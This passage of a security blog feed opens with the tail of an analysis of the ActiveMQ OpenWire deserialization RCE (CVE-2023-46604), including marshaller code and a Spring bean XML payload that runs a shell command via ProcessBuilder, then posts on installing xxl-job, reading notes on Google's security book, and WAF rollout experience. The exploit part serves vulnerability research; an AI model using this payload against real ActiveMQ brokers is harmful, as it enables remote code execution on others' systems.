[*] command WireFormatInfo { version=12, properties={StackTraceEnabled=true, PlatformDetails=Java, CacheEnabled=true, TcpNoDelayEnabled=true, SizePrefixDisabled=false, CacheSize=1024, ProviderName=ActiveMQ, TightEncodingEnabled=true, MaxFrameSize=104857600, MaxInactivityDuration=30000, MaxInactivityDurationInitalDelay=10000, MaxFrameSizeEnabled=true, ProviderVersion=null}, magic=[A,c,t,i,v,e,M,Q]}
[*] command BrokerInfo {commandId = 0, responseRequired = false, brokerId = ID:MAC.local-57433-1713862082531-0:1, brokerURL = tcp://MAC.local:61616, slaveBroker = false, masterBroker = false, faultTolerantConfiguration = false, networkConnection = false, duplexConnection = false, peerBrokerInfos = null, brokerName = localhost, connectionId = 0, brokerUploadUrl = null, networkProperties = null}
[*] command ConnectionControl {commandId = 0, responseRequired = false, suspend = false, resume = false, close = false, exit = false, faultTolerant = false, connectedBrokers = , reconnectTo = , token = null, rebalanceConnection = false}
[*] command Response {commandId = 0, responseRequired = false, correlationId = 1}
[*] command Response {commandId = 0, responseRequired = false, correlationId = 2}

[*] hit createThrowableorg.springframework.context.support.ClassPathXmlApplicationContexthttp://127.0.0.1:8001/poc
Breakpoint reached at org.apache.activemq.openwire.v12.BaseDataStreamMarshaller.createThrowable(BaseDataStreamMarshaller.java:231)
void
[*] command Response {commandId = 0, responseRequired = false, correlationId = 5}
</code></pre>
<h3><a id="%E4%B8%80%E4%BA%9B%E5%80%BC%E5%BE%97%E8%AE%B0%E5%BD%95%E7%9A%84%E7%82%B9" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>一些值得记录的点</h3>
<p>1、TcpTransport 的 oneway方法，可以发 obj 给客户端，触发客户端的反序列化。<br />
2、客户端和服务端的通信过程中会marshal和unmarshal对应的Command类，activemq-client的代码在客户端和服务端都会用到。<br />
3、为什么在公开的java的poc中 ClassPathXmlApplicationContext 需要继承 Throwable类？以及需要实现getMessage方法？需要看下ExceptionResponse的marshal和unmarshal过程。<br />
ExceptionResponseMarshaller类的marshal过程中（针对exception的处理）：</p>
<pre><code class="language-plain_text">    public int tightMarshal1(OpenWireFormat wireFormat, Object o, BooleanStream bs) throws IOException {
        ExceptionResponse info = (ExceptionResponse)o;
        int rc = super.tightMarshal1(wireFormat, o, bs);
        rc += this.tightMarshalThrowable1(wireFormat, info.getException(), bs);
        return rc + 0;
    }
</code></pre>
<p>BaseDataStreamMarshaller#tightMarshalThrowable1中 marshal Throwable对象o时，会调用 getName和getMessage方法。<br />
<img src="media/17084275650325/17135148105583.jpg" alt="" /></p>
<p>对应的数据在unmarshal  中被触发。</p>
<pre><code class="language-plain_text">    protected Throwable tightUnmarsalThrowable(OpenWireFormat wireFormat, DataInput dataIn, BooleanStream bs) throws IOException {
        if (!bs.readBoolean()) {
            return null;
        } else {
            String clazz = this.tightUnmarshalString(dataIn, bs);
            String message = this.tightUnmarshalString(dataIn, bs);
            Throwable o = this.createThrowable(clazz, message);
            if (wireFormat.isStackTraceEnabled()) {
                int i;
        //...  
</code></pre>
<p>同理另外两个对象： MessageAck需要构造 info.getPoisonCause()。</p>
<pre><code class="language-plain_text">    public int tightMarshal1(OpenWireFormat wireFormat, Object o, BooleanStream bs) throws IOException {
        MessageAck info = (MessageAck)o;
        int rc = super.tightMarshal1(wireFormat, o, bs);
        rc += this.tightMarshalCachedObject1(wireFormat, info.getDestination(), bs);
        rc += this.tightMarshalCachedObject1(wireFormat, info.getTransactionId(), bs);
        rc += this.tightMarshalCachedObject1(wireFormat, info.getConsumerId(), bs);
        rc += this.tightMarshalNestedObject1(wireFormat, info.getFirstMessageId(), bs);
        rc += this.tightMarshalNestedObject1(wireFormat, info.getLastMessageId(), bs);
        rc += this.tightMarshalThrowable1(wireFormat, info.getPoisonCause(), bs);
        return rc + 5;
    }
</code></pre>
<p>ConnectionError需要 构造 info.getException()。</p>
<pre><code class="language-plain_text">
    public int tightMarshal1(OpenWireFormat wireFormat, Object o, BooleanStream bs) throws IOException {
        ConnectionError info = (ConnectionError)o;
        int rc = super.tightMarshal1(wireFormat, o, bs);
        rc += this.tightMarshalThrowable1(wireFormat, info.getException(), bs);
        rc += this.tightMarshalNestedObject1(wireFormat, info.getConnectionId(), bs);
        return rc + 0;
    }
</code></pre>
<p>4、ClassPathXmlApplicationContext 利用</p>
<pre><code class="language-plain_text">&lt;!--

        ClassPathXmlApplicationContext classPathXmlApplicationContext = new ClassPathXmlApplicationContext(&quot;http://127.0.0.1:8001/evil.xml&quot;);

--&gt;
&lt;beans xmlns=&quot;http://www.springframework.org/schema/beans&quot; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xsi:schemaLocation=&quot;http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd&quot;&gt;
    &lt;bean id=&quot;pb&quot; class=&quot;java.lang.ProcessBuilder&quot; init-method=&quot;start&quot;&gt;
        &lt;constructor-arg&gt;
            &lt;list&gt;
                &lt;value&gt;/bin/sh&lt;/value&gt;
                &lt;value&gt;-c&lt;/value&gt;
                &lt;value&gt;open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator&lt;/value&gt;
            &lt;/list&gt;
        &lt;/constructor-arg&gt;
    &lt;/bean&gt;
&lt;/beans&gt;
</code></pre>
<p>5、ClassPathXmlApplicationContext在java exp中的作用就是为了构造协议中的恶意对象，实际上org/springframework/context/support/ClassPathXmlApplicationContext的jar是不需要引入的。<br />
6、打包如果报错java.lang.VerifyError，需要用idea的artifact打包（解决class被修改后的打包问题），在out目录会生成jar，<a href="https://blog.csdn.net/weixin_61634823/article/details/124827963">https://blog.csdn.net/weixin_61634823/article/details/124827963</a> （注意需要设置依赖）</p>
<h2><a id="0x04%E5%8F%82%E8%80%83" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>0x04 参考</h2>
<p>1、<a href="https://xz.aliyun.com/t/12929">https://xz.aliyun.com/t/12929</a><br />
2、activemq历史漏洞：<a href="https://activemq.apache.org/components/classic/security">https://activemq.apache.org/components/classic/security</a><br />
3、activemq 分析（ConnectionErrorMarshaller、ExceptionResponseMarshaller、MessageAskMarshaller）：<a href="https://t0ngmystic.com/sec/cve-2023-46604-activemq-rce/">https://t0ngmystic.com/sec/cve-2023-46604-activemq-rce/</a></p>
<p>END. 整体写的有点乱，希望下次写的更简明扼要一点。</p>
]]>
    </content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[从0到1 搭建xxl-job 环境]]></title>
    <link href="https://thinkycx.me/2024-04-09-install-xxl-job.html"/>
    <updated>2024-04-09T19:40:15+08:00</updated>
    <id>https://thinkycx.me/2024-04-09-install-xxl-job.html</id>
    <content type="html">
      <![CDATA[<h2><a id="%E8%83%8C%E6%99%AF" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>背景</h2>
<p>时间：2024年4月9日 下午7:09:23</p>
<p>最近收到一个需求需要搭建一下xxl-job环境，如果能docker一键自动化解决就ok了，但需要从头安装，记录一下从源码安装的过程，后续需要研究漏洞时再重新安装一遍，先记录一下给后人留下一点参考。</p>
<p>注意：官方文档中有的部分在此略过，请主要参考官方文档，遇到问题可以来本文章搜索答案。</p>
<span id="more"></span><!-- more -->
<p>耗时：2h + 0.5h</p>
<p>参考：<a href="https://www.xuxueli.com/xxl-job/">https://www.xuxueli.com/xxl-job/</a></p>
<blockquote>
<p>其他信息参考本地配置文件</p>
</blockquote>
<h2><a id="%E7%8E%AF%E5%A2%83%E5%AE%89%E8%A3%85" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>环境安装</h2>
<h3><a id="1%E3%80%81%E5%AE%89%E8%A3%85java%E7%8E%AF%E5%A2%83-maven%E7%8E%AF%E5%A2%83" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>1、安装java环境 &amp; maven环境</h3>
<p>oracle官网下载jdk后，设置环境变量</p>
<pre><code class="language-plain_text">export JAVA_HOME=/home/ec2-user/jdk1.8.0_321/
PATH=$PATH:$JAVA_HOME/bin
export MAVEN_HOME=/home/ec2-user/apache-maven-3.9.6/
PATH=$PATH:/home/ec2-user/apache-maven-3.9.6/bin
</code></pre>
<h3><a id="2%E3%80%81%E5%AE%89%E8%A3%85mysql-5-7%E7%8E%AF%E5%A2%83" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>2、安装mysql 5.7环境</h3>
<p>参考：<a href="https://cloud.tencent.com/developer/article/1886339">https://cloud.tencent.com/developer/article/1886339</a></p>
<pre><code class="language-plain_text">wget http://repo.mysql.com/mysql57-community-release-el7-10.noarch.rpm
rpm -Uvh mysql57-community-release-el7-10.noarch.rpm
rpm --import https://repo.mysql.com/RPM-GPG-KEY-mysql-2022
yum -y install mysql-community-server
systemctl start mysqld.service
systemctl status mysqld.service
</code></pre>
<p>导入xxl-job的sql运行，并修改mysql的密码。</p>
<h3><a id="3%E3%80%81%E7%BC%96%E8%AF%91xxl-job-admin%E5%92%8Cxxl-job-core" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>3、编译xxl-job-admin和xxl-job-core</h3>
<p>xxl-job-admin依赖了xxl-job-core的环境，从头开始安装xxl-job-core，maven install后由于 xxl-job（父工程）在maven仓库中不存在，需要手动创建文件夹，并复制pom过去。<br />
参考：<a href="https://blog.csdn.net/zlc521520/article/details/103425798">https://blog.csdn.net/zlc521520/article/details/103425798</a></p>
<pre><code class="language-plain_text">mvn clean package -Dmaven.test.skip=true
mvn clean install -Dmaven.test.skip=true

# xxl-job路径
cp pom.xml  /home/ec2-user/.m2/repository/com/xuxueli/xxl-job/2.4.1-SNAPSHOT/xxl-job-2.4.1-SNAPSHOT.pom

# 启动xxl-job-admin
sudo /home/ec2-user//jdk1.8.0_321/bin/java -jar ./target/xxl-job-admin-2.4.1-SNAPSHOT.jar
</code></pre>
<p>注意点：<br />
1、xxl-job-admin的配置文件 （xxl-job/xxl-job-admin/src/main/resources/application.properties<br />
） 必须修改：spring.datasource.password 和 xxl.job.accessToken （执行器需要使用）<br />
2、后台地址：：<a href="http://vps-ip:8080/xxl-job-admin/%EF%BC%8C%E8%BF%9B%E5%85%A5xxl-job-admin%E5%90%8E%E5%8F%B0%E4%BF%AE%E6%94%B9admin%E8%B4%A6%E6%88%B7%E7%9A%84%E5%AF%86%E7%A0%81%EF%BC%88%E9%BB%98%E8%AE%A4">http://vps-ip:8080/xxl-job-admin/，进入xxl-job-admin后台修改admin账户的密码（默认</a> 123456）</p>
<p>❗️上述2个配置如果不改，大概率可能被入侵。</p>
<p><img src="media/17126628156511/17126650817945.jpg" alt="" /></p>
<h3><a id="4%E3%80%81%E5%90%AF%E5%8A%A8xxl-job-executor-sample%EF%BC%88-java%EF%BC%89" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>4、启动xxl-job-executor-sample （java）</h3>
<p>项目中给了 官方给的 executor例子（java的）</p>
<p>修改配置文件 xxl.job.accessToken： /home/ec2-user/xxl-job/xxl-job-executor-samples/xxl-job-executor-sample-springboot/src/main/resources/application.properties</p>
<p>编译启动即可： sudo /home/ec2-user//jdk1.8.0_321/bin/java -jar ./target/xxl-job-executor-sample-springboot-2.4.1-SNAPSHOT.jar</p>
<h3><a id="5%E3%80%81%E9%85%8D%E7%BD%AEgolang-executor%EF%BC%88-golang%EF%BC%89" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>5、配置golang executor （golang）</h3>
<p><a href="https://github.com/xxl-job/xxl-job-executor-go/blob/master/example/main.go">https://github.com/xxl-job/xxl-job-executor-go/blob/master/example/main.go</a></p>
<p>修改: xxl.AccessToken、xxl.ExecutorIp、</p>
<pre><code class="language-plain_text">	exec := xxl.NewExecutor(
		xxl.ServerAddr(&quot;http://127.0.0.1/xxl-job-admin&quot;),
		xxl.AccessToken(&quot;&quot;),            //请求令牌(默认为空)
		xxl.ExecutorIp(&quot;127.0.0.1&quot;),    //可自动获取
		xxl.ExecutorPort(&quot;9999&quot;),       //默认9999（非必填）
		xxl.RegistryKey(&quot;golang-jobs&quot;), //执行器名称
		xxl.SetLogger(&amp;logger{}),       //自定义日志
	)
</code></pre>
<p>进入xxl-job后台配置：（jobHandler为golang代码中设置的任务名）</p>
<p><img src="media/17126628156511/17126690228902.jpg" alt="" /></p>
<p>参考：<a href="https://marksuper.xyz/2022/10/13/xxl-job/">https://marksuper.xyz/2022/10/13/xxl-job/</a></p>
<p><img src="media/17126628156511/17126689916521.jpg" alt="" /></p>
<h3><a id="6%E3%80%81%E9%85%8D%E7%BD%AE%E5%BC%80%E5%90%AF%E5%90%AF%E5%8A%A8" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>6、配置开启启动</h3>
<pre><code class="language-plain_text">sudo /home/ec2-user//jdk1.8.0_321/bin/java -jar /home/ec2-user/xxl-job/xxl-job-admin/target/xxl-job-admin-2.4.1-SNAPSHOT.jar  &amp;
sudo /home/ec2-user//jdk1.8.0_321/bin/java -jar /home/ec2-user/xxl-job/xxl-job-executor-samples/xxl-job-executor-sample-springboot/./target/xxl-job-executor-sample-springboot-2.4.1-SNAPSHOT.jar  &amp;
</code></pre>
<p>cat /etc/systemd/system/my_service.service</p>
<pre><code class="language-plain_text">[Unit]
Description=My Service
After=network.target

[Service]
Type=simple
ExecStart=/home/ec2-user/start.sh
Restart=always

[Install]
WantedBy=multi-user.target
</code></pre>
<p>配置：</p>
<pre><code class="language-plain_text">sudo systemctl daemon-reload
sudo systemctl enable my_service
</code></pre>
<h2><a id="%E5%8A%A0%E5%9B%BA%E5%BB%BA%E8%AE%AE" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>加固建议</h2>
<p>如果你是第一次使用xxl-job，又想减少安全风险，初步的安全建议：<br />
1、xxl-job使用最新版（低版本存在hessian2反序列化）<br />
2、修改默认admin后台的密码<br />
3、修改xxl.job.accessToken ，通信走https（客户端的token防泄露）<br />
4、限制客户端暴露的handler，不暴露危险的handler给服务端使用（官方默认的java executor可以执行脚本比较危险，token泄露了就能打）</p>
]]>
    </content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[《Google 安全白皮书：构建安全、可靠的系统 》读书笔记]]></title>
    <link href="https://thinkycx.me/2024-01-07-building-secure-and-reliable-systems-reading-notes.html"/>
    <updated>2024-01-08T21:29:56+08:00</updated>
    <id>https://thinkycx.me/2024-01-07-building-secure-and-reliable-systems-reading-notes.html</id>
    <content type="html">
      <![CDATA[<h2><a id="%E8%83%8C%E6%99%AF%E7%9B%AE%E6%A0%87" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>背景 &amp; 目标</h2>
<p>看一线行业前辈经验（沉淀来的东西），比一个人探索的效率要高很多。尤其周围的朋友已经看完&amp;用起来了，因此这本书需要反复精读。</p>
<span id="more"></span><!-- more -->
<p>读书笔记需要覆盖：</p>
<ul>
<li>Part1 这本书目标是什么？为了实现这个目标 主要讲了什么？</li>
<li>Part2 对企业安全建设的帮助点在哪里？</li>
<li>Part3 对个人来说有哪些todo？</li>
</ul>
<p>其他：</p>
<ul>
<li>开始时间：2024年01月07日</li>
<li>预计结束时间：2024年01月31日</li>
<li>在线版本阅读：<a href="https://google.github.io/building-secure-and-reliable-systems/raw/toc.html">https://google.github.io/building-secure-and-reliable-systems/raw/toc.html</a></li>
<li><a href="https://sre.google/books/">https://sre.google/books/</a></li>
</ul>
<h2><a id="part1%E6%9C%AC%E4%B9%A6%E4%B8%BB%E8%A6%81%E7%9B%AE%E6%A0%87%E5%86%85%E5%AE%B9" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>Part1 本书主要目标 &amp; 内容</h2>
<h3><a id="0%E6%9C%AC%E4%B9%A6%E7%9B%AE%E6%A0%87" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>0. 本书目标</h3>
<p>google系统架构解密的目标：构建安全、可靠的系统（secure reliable）</p>
<p>目标的完成客观规律是：PDCA（任何时候都不会改变。因此本书主要围绕：计划（设计）、执行（构建）、检查（维护）介1绍每个层面的原则和方法论。（这也说明了这本书谈到了本质，是一本好书）。</p>
<h3><a id="1%E7%AC%AC-1%E7%AB%A0%E3%80%80%E5%AE%89%E5%85%A8%E6%80%A7%E4%B8%8E%E5%8F%AF%E9%9D%A0%E6%80%A7%E7%9A%84%E4%BA%A4%E9%9B%86%EF%BC%88%E7%9B%AE%E6%A0%87%E6%80%8E%E4%B9%88%E5%AE%9E%E7%8E%B0%E7%9A%84%EF%BC%9F%EF%BC%89" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>1. 第 1 章　安全性与可靠性的交集（目标&amp;怎么实现的？）</h3>
<blockquote>
<p>客观规律1：secure  + reliable是一个系统的固有属性（隐式特征），和系统的发展迭代速度是存在一定冲突的（发展的快则安全可靠相对弱一点，但也不能只为了安全可靠而龟速发展），两者需要取得平衡。正常人、国内很多公司都会在生存下来之前选择发展这一策略。（这一点我很早就意识到了，也就是一定是企业规模发展大了之后才会需要安全人员介入，安全人员介入时面临的大概率是一个烂摊子）</p>
<p>客观规律2：隐患在有苗头时就消灭此时付出的代价是最小的，安全介入越早越好，避免后期大家都痛苦。=》内生安全。本书就是告诉我们一些方法论，在系统生命周期早期的时候应该怎么做，避免后续付出较大的成本。</p>
</blockquote>
<p>构建一个安全&amp;可靠的系统要怎么做呢？最关键的几个步骤/注意事项有哪些？</p>
<p>1、风险建模：不同价值的系统面临的风险不同，根据不同的风险做设计和措施（可靠面临的风险可能是非恶意的、安全面临的风险是恶意的如他人攻击等）。</p>
<p>2、安全&amp;可靠 特点&amp;原则：</p>
<ul>
<li>常规情况下都是隐形的、对用户无感知的</li>
<li>需要结合失效时额代价成本 来能评估投入的成本</li>
<li>系统设计原则：简洁、减少复杂性（有助于提高 安全&amp;可靠）</li>
<li>两者是动态变化的：系统变化、两者属性也会变化</li>
<li>系统设计：应该是具备弹性的、自适应的（有助于提高 安全&amp;可靠），随之带来的是 最小权限原则、和多方授权原则</li>
<li>系统构建：SDL（安全review） + 充分测试  ，实际部署时：可灰度 + 可降级 + 可灰姑娘</li>
<li>系统运行：可观测（日志，不能包含PII，个人身份信息）</li>
<li>假设失效（plan B）：安全/稳定性事件发生时的 协同管理（IMAG google实践管理）的建设 + 日常的演练（DiRT 灾难恢复测试系统）</li>
<li>具备止损恢复机制&amp;组织建设：修复方案的确认、通告时间点选择的决策、推修节奏紧迫性等（综合评估）</li>
</ul>
<h3><a id="2%E7%AC%AC%E4%BA%8C%E7%AB%A0%E4%BA%86%E8%A7%A3%E6%94%BB%E5%87%BB%E8%80%85" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>2. 第二章 了解攻击者</h3>
<p>2024年1月8日 下午9:32:17</p>
<p>了解攻击者的方法论：了解他们动机、了解他们常见的画像、了解他们的常见方法。</p>
<p>值得记录：</p>
<ul>
<li>攻击者用来实现目标的具体策略、技术和程序（tactic,technique, and procedures，TTP）。</li>
<li>头部对标：TTPs 最早在1986就有苗头以及专业方法论，了解外部头部经验很重要，非闭门造车。</li>
<li>迭代反馈：case驱动的反馈可以让系统/事物 迭代得更加频繁，进步更快，成长更快。平时也需要主动关注负面反馈，逐渐迭代。『成长型思维』</li>
</ul>
<blockquote>
<ol>
<li>知道风险在哪里，知道攻击者在研究什么、常用的攻击手法、ttps等</li>
<li></li>
</ol>
</blockquote>
<h3><a id="%E5%85%B6%E4%BB%96" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>其他</h3>
<p>一些读书笔记摘要：</p>
<ul>
<li>
<p>作者（牛人）：Adam Stubblefield、Massimiliano Poletto、Piotr Lewandowski、David Huska 和 Betsy Beyer</p>
</li>
<li>
<p>[美]希瑟·阿德金斯（Heather Adkins），[美]贝齐·拜尔（Betsy Beyer），[美]保罗·布兰肯希普（Paul Blankinship），[波]彼得·莱万多夫斯基（Piotr Lewandowski），[德]阿那·奥普雷亚（Ana Oprea），[美]亚当·斯塔布菲尔德（Adam Stubblefield）</p>
<ul>
<li>
<p>02年 Rice大学毕业、05年约翰霍普金斯硕士毕业，硕士毕业之后开了安全咨询公司。 <a href="https://www.cs.jhu.edu/~astubble/cv.pdf">https://www.cs.jhu.edu/~astubble/cv.pdf</a></p>
</li>
<li>
<p>他人评价：Adam Stubblefield: Adam co-leads Stripe security and is a former distinguished engineer at Google. He is one of the world’s best security thinkers and <strong>has a fantastic ability to relate to and motivate people.</strong>（1. 联系、激励他人） He developed engineering security thought leaders（2. 成就他人具备领导能力） who could <strong>balance business needs with security and privacy risks</strong>. He always <strong>asked excellent questions to help people understand the gaps in their thinking that guided them toward good decisions</strong>（3. 让别人思考而不是直接告诉答案） rather than telling them the answers. He cared deeply about structured paths for developing people.    <a href="https://material.security/blog/security-through-humility-gordon-chaffee">https://material.security/blog/security-through-humility-gordon-chaffee</a></p>
</li>
</ul>
</li>
</ul>
<h2><a id="part2%E4%B8%AA%E4%BA%BA%E6%80%9D%E8%80%83%E9%83%A8%E5%88%86" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>Part2 个人思考部分</h2>
]]>
    </content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[浅谈甲方基础安全建设- 外采WAF落地相关实践经验]]></title>
    <link href="https://thinkycx.me/2023-12-10-security-architect-saas-waf-build-experience-sharing.html"/>
    <updated>2023-07-28T12:52:51+08:00</updated>
    <id>https://thinkycx.me/2023-12-10-security-architect-saas-waf-build-experience-sharing.html</id>
    <content type="html">
      <![CDATA[<h2><a id="%E8%83%8C%E6%99%AF" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>背景</h2>
<p>在大多数情况下，“安全”是一个形容词，安全对企业来说最大的价值是保驾护航。<br />
保驾护航这一目标具体到执行方法层面，则是风险管理。</p>
<p>假设给一家企业的安全打分，满分是100分，那么他的安全分 结合外部/内部环境变化也会不断浮动。<br />
在上述背景下，风险管理细化的要怎么做？拆开看：风险  + 管理。知道有什么风险，通过一系列建设/活动，降低该风险的影响。<br />
如何评价风险管理做的好不好？ 理想一点量化看，安全分 =  100分 - 风险1影响 - 风险2影响  - 风险N影响。</p>
<p>对于大部分公司来说，由于业务形态、IT基础设施大同小异，面临的风险也会近似。<br />
因此在企业安全建设过程中，可复用的风险解决方案、以及落地经验我认为是较为宝贵的，值得和同行交流，查漏补缺。</p>
<span id="more"></span><!-- more -->
<p>机缘巧合本人有幸因工作需要，在工作中穿插了一小段外采WAF相关的工作，如今项目已完结收尾。因此基于上述背景以及当下大部分企业现状，本文主要记录一些WAF，（主要为外采WAF，非自研WAF）落地经验，记录一些流程方法，技术类的干货较少，但：</p>
<ul>
<li>对于有类似需求且完全没有经验同学来说，可以偷懒一点照着这个SOP执行就能落地；</li>
<li>对于学生来说，可以对甲方安全要做什么事儿从中管中窥豹，判断是不是自己想从事的方向；</li>
<li>对于行业前辈来说，可能会发现记录的都是老生畅谈的基础常识，可以一笑而过。</li>
</ul>
<p>开始时间：2023年7月28日 下午12:53:06<br />
更新时间：2023年12月10日 下午1:48:29</p>
<h2><a id="%E7%9B%AE%E6%A0%871%EF%BC%9A%E6%96%B9%E6%A1%88%E5%88%B6%E5%AE%9A%EF%BC%8C%E8%A6%81%E8%BE%BE%E6%88%90%E4%BB%80%E4%B9%88%E6%95%88%E6%9E%9C%EF%BC%8C%E8%83%BD%E4%BB%98%E5%87%BA%E5%A4%9A%E5%B0%91%E6%88%90%E6%9C%AC%EF%BC%88%E4%B9%B0%E4%B8%AA-waf-or%E8%87%AA%E7%A0%94%EF%BC%9F%EF%BC%89" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>目标1：方案制定，要达成什么效果，能付出多少成本 （买个waf or 自研？）</h2>
<p>Part1 明确现状。首先要明确WAF保护的目标是什么？有多少域名需要保护？</p>
<p>1、规模稍微大一些的公司咨询公司SRE、域名负责人团队给一份完整的域名资产清单，从中结合域名属性（是否有http流量、内外网、qps、后端业务形态）明确分母 —— 哪些域名是一定需要接的，哪些是资源不足的情况下可以舍弃的。个人经验来看，外网域名应接尽接。<br />
2、除了正向收集，犄角旮旯的域名常常无人关注从而成为漏网之鱼（投并购公司等），因此被动收集资产也很重要：主动扫描、流量采集、dns解析记录等等可作为查漏补缺，举一反三作为扩充分母的重要来源。<br />
3、持续完善1、2沉淀到系统，域名相关数据（整体域名数量、应接WAF数量、无需接入原因） 应成为建设时期每天需要晾晒的指标之一，且需要投入人员运营。</p>
<p>Part2 怎么做？方案选择 + 争取资源。</p>
<p>目标分母明确后，后续就是怎么做的事儿了，无非自研  + 外采商业WAF（腾讯云、阿里云、长亭等）。就两者选择来说结合自身情况选择即可。</p>
<ul>
<li>自研特点：成本上前期投入人力成本大，但后续维护成本低。 最大的优势是可结合甲方需求快速迭代，定制化程度高；最大的缺点是需要有成熟的方案经验，否则该踩的坑一个可能落不下；总之，适合业务增长规模较大的公司。</li>
<li>外采特点：短平快，评估各家能力确认要买哪家后走采购流程，协调各方走灰度上线即可；优势：快速补全能力，规则有专业同学维护开箱即用；缺点：每年都要交钱，瓶颈能力完全取决于商业WAF；总之，适合域名数量不多没有自研能力又想快速具备防御能力的公司，或因架构问题天然无法接自研waf的场景；</li>
</ul>
<p>最终安全同学需要明确最终的调研结论（包含现状、目标、解决方案、付出的成本）等等，向上同步争取需要的资源，拿到决策层的支持与认可后，再开整。</p>
<blockquote>
<p>上述过程可以抽象一下，举个不太恰当的比喻：<br />
雇主：我担心自己的安全，快来保护我。<br />
保镖：整体风险是xxx，方案是yyy，先干这个再干那个，能帮你解决zzz%的风险。但是需要投入这么多钱，整不整？<br />
雇主：整。<br />
保镖：好的，开干。</p>
</blockquote>
<h2><a id="%E7%9B%AE%E6%A0%872%EF%BC%9A%E6%80%8E%E4%B9%88%E6%8E%A5%EF%BC%9F" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>目标2：怎么接？</h2>
<p>无论是自研还是外采，执行的过程中都有一些准则可以参考：<br />
1、节奏选择：可行性验证，小范围灰度，整体排期<br />
2、变更原则：可灰度、可观测、可回滚</p>
<p>自研由于各家实现方案不同，结合实际情况看即可，如：控制粒度可以放在安全侧、也可以放在基础组件侧，都能完成目标。自研最核心的部分是处理引擎以及运营部分（篇幅较大暂不展开），其他部分也基本可参考外采部分。</p>
<p>外采WAF的接入这里以SAAS WAF为例，参考的整体链路如下：域名解析  -&gt; SAAS WAF集群（采购）  -&gt;  4/7层负载（nginx集群）【可选】 -&gt; 真实业务。<br />
<img src="media/16905199716425/17022097218819.jpg" alt="" class="mw_img_center" style="width:600px;display: block; clear:both; margin: 0 auto;" /></p>
<p>因此接入方法很简单：<br />
1）域名解析：粒度一般控制在域名负责人、sre处。【仅本处需要变更，但需跨团队沟通】<br />
2）WAF集群：关注稳定性，商业WAF一般都有专人维护，安全团队确保负载qps不超套餐、定期续费即可。<br />
3）4/7层负载：接入过程中关注稳定性即可。<br />
4）业务层：关注业务自己的qps波动即可。</p>
<p>上述过程涉及到 安全、sre、业务、商业waf团队，因此整个过程需要做好充分的周知、对齐节奏后，走标准变更流程。</p>
<p>其他的一些注意点：<br />
1、WAF集群配置相关：tls版本需满足等保合规要求、证书的整个生命周期管理避免到期。<br />
2、4层负载（lvs）：4层清除不可信的tcp option字段，避免ip伪造；<br />
3、7层nginx集群：：7层ACL的仅允许来源waf的请求（避免攻击者找到真实后端ip绕过waf直接访问）、真实ip的获取（将真实的来源ip设置为wa集群携带过来的XFF字段）</p>
<h2><a id="%E7%9B%AE%E6%A0%873%EF%BC%9A%E6%8E%A5%E5%AE%8C%E4%BA%86%E6%B2%A1%EF%BC%9F%E6%95%88%E6%9E%9C%E6%80%8E%E4%B9%88%E6%A0%B7%EF%BC%9F" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>目标3：接完了没？效果怎么样？</h2>
<p>判断WAF是否接入：发个攻击请求包，判断是否拦截，拦截则代表接入。<br />
这里可以在目标1的，域名属性中扩充一列：已接入WAF，从而统计WAF接入率 = 已接入域名数量/应接入域名数量。</p>
<p>但风险管理之所以是动态的就是因为变更无处不在，判断单个域名是否接入，需要定期（天维度）定期检查；接入率也需要会动态变化，运营同学需关注波动情况。</p>
<p>衡量指标：天维度 域名接入率。</p>
<h2><a id="%E7%9B%AE%E6%A0%874%EF%BC%9A%E4%B8%8D%E7%94%A8%E4%BA%86%E6%80%8E%E4%B9%88%E4%B8%8B%E7%BA%BF%EF%BC%9F" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>目标4：不用了怎么下线？</h2>
<p>随着业务发展/下线等情况，早期为了短平快快速上线，采购商业waf，但随着业务规模不断发展发现商业waf已不划算了要自研。<br />
变更也较为简单：参目标2中的。让sre修改域名cname记录到 4/7层负载，变更过程中的原则依然和上述遵循保持一致。</p>
<p>几个注意点：<br />
1、SAAS WAF续费：关注WAF集群请求数量，避免极端情况dns未生效依然存在正常业务解析；时刻做好plan B，假设需切自研WAF，商业waf建议保留1个月周期便于回滚。<br />
2、nginx层：假设nginx做了 ACL限制，切换前需先下线ACL避免阻断业务流量。</p>
<h2><a id="%E7%BB%93%E8%AE%BA" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>结论</h2>
<p>在企业安全建设过程中，为了基础防御水位的提升，（采购/自研）安全产品是必经之路。</p>
<p>WAF作为企业安全的必备产品之一，本文主要分享了一些外采waf落地的经验，主要涉及：流程、制度，抽象看可以简单总结为（P方案指定、D推动执行、C效果衡量）。</p>
<p>但就整体的风险管理来说，WAF仅仅是基础安全中相当小的一环。希望对大家有帮助。 欢迎交流：）</p>
<h2><a id="%E5%8F%82%E8%80%83%EF%BC%9A" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>参考：</h2>
